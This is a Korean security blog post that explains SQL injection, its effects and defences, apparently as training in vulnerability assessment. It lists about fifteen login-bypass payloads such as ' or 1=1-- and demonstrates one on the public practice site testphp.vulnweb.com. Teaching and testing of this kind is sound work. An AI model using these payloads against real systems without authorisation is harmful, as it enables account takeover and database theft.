ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL 인젝션 취약점
    Security/Web 2018.06.05 13:22

    SQL 인젝션에 대해서 간단하게 알아보도록 하겠습니다.

    자세한 것은 http://itlearner.tistory.com/304?category=780096을 참고하면 되겠습니다.


    1. 취약점 이해

    1-1. 개요

    데이터베이스와 연동된 웹 어플리케이션에서 SQL 질의문에 대한 필터링이 제대로 이루어지지 않을 경우 공격자가 입력이 가능한 폼(웹 브라우저 주소 입력창 또는 로그인 폼 등)에 조작된 질의문을 삽입하여 웹 서버의 데이터베이스 정보를 열람 또는 조작을 할 수 있는 취약점을 말합니다.


    1-2. 파급 효과

    - 데이터베이스 정보 노출

    - 데이터 삽입, 삭제 및 변경

    - 데이터베이스 서비스 중지

    - 사용자 인증 우회


    1-3. 취약점의 이해

    SQL 인젝션 공격은 SQL(DB의 정보를 조회하기 위해서 질의 및 조작하는 명령어)를 이용하여 불법적으로 DB의 내용을 훔쳐보게 되는 공격입니다.



    2. 취약점 진단

    2-1. 취약점 진단 방법

    test및 admin 계정이 사용될 경우, 또는 계정을 알 고 있을 경우에 아래 구문을 패스워드에 넣으면 됩니다. 로그인이 성공된다면 취약한 것으로 판단합니다.

    ' or 1=1--' 

    + or 1=1-- 

    ' or 1=1-- 

    ' or 1=1/* 

    ' or '1'=1' 

    ' or 1=1 ;-- 

    ' or 1='1 

    ' or 1=1 -- 

    ' or 1=1-- 

    ' or '1'='1 

    ' or ''=' 

    ' or '1'='1' --' 

    ' or 1=1 -- 

    ' or 1=1# 



    3. 실습

    실습은 http://testphp.vulnweb.com에서 진행하였습니다.


    3-1. SQL Injection

    => http://testphp.vulnweb.com/login.php 페이지를 보면 아래와 같이 로그인할 수 있는 폼이 있습니다.


    => 아이디에는 test, 암호에는 'or 1=1--' 를 입력해봅니다. 그러면 아래와 같이 로그인된 것을 볼 수 있습니다.



    4. 대응방안

    ① Prepared Statement 구문을 통한 방어

    : SQL 쿼리를 선 처리하여 컴파일 한 후, 이후 입력받는 변수 값을 항상 문자열변수로 다루기 때문에 공격자의 악의적인 SQL 구문을 변수에 삽입하여도 SQL 구문에 영햐을 미치지 않아 SQL 인젝션이 발생하지 않습니다.

    ② MS-SQL의 경우 aster..Xp_cmdshell. xp_startmail, sp_sendmail, sp_makewebtask 확장 프로시저를 제거

    ③ 데이터베이스와 연동하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력값에 대한 SQL 쿼리문이 삽입되지 않도록 특수문자 및 쿼리 예약어를 필터링

    ④ 데이터베이스의 에러 메시지를 사용자에게 보여주지 않도록 적절한 처리






    본 글은 "누구나 쉽게 따라하는 웹 취약점 진단 기술" 서적과 "KISA의 취약점 진단 제거 가이드(2013.12)"를 참고하여 작성하였습니다.

    댓글 0

~ ^ . ^ ~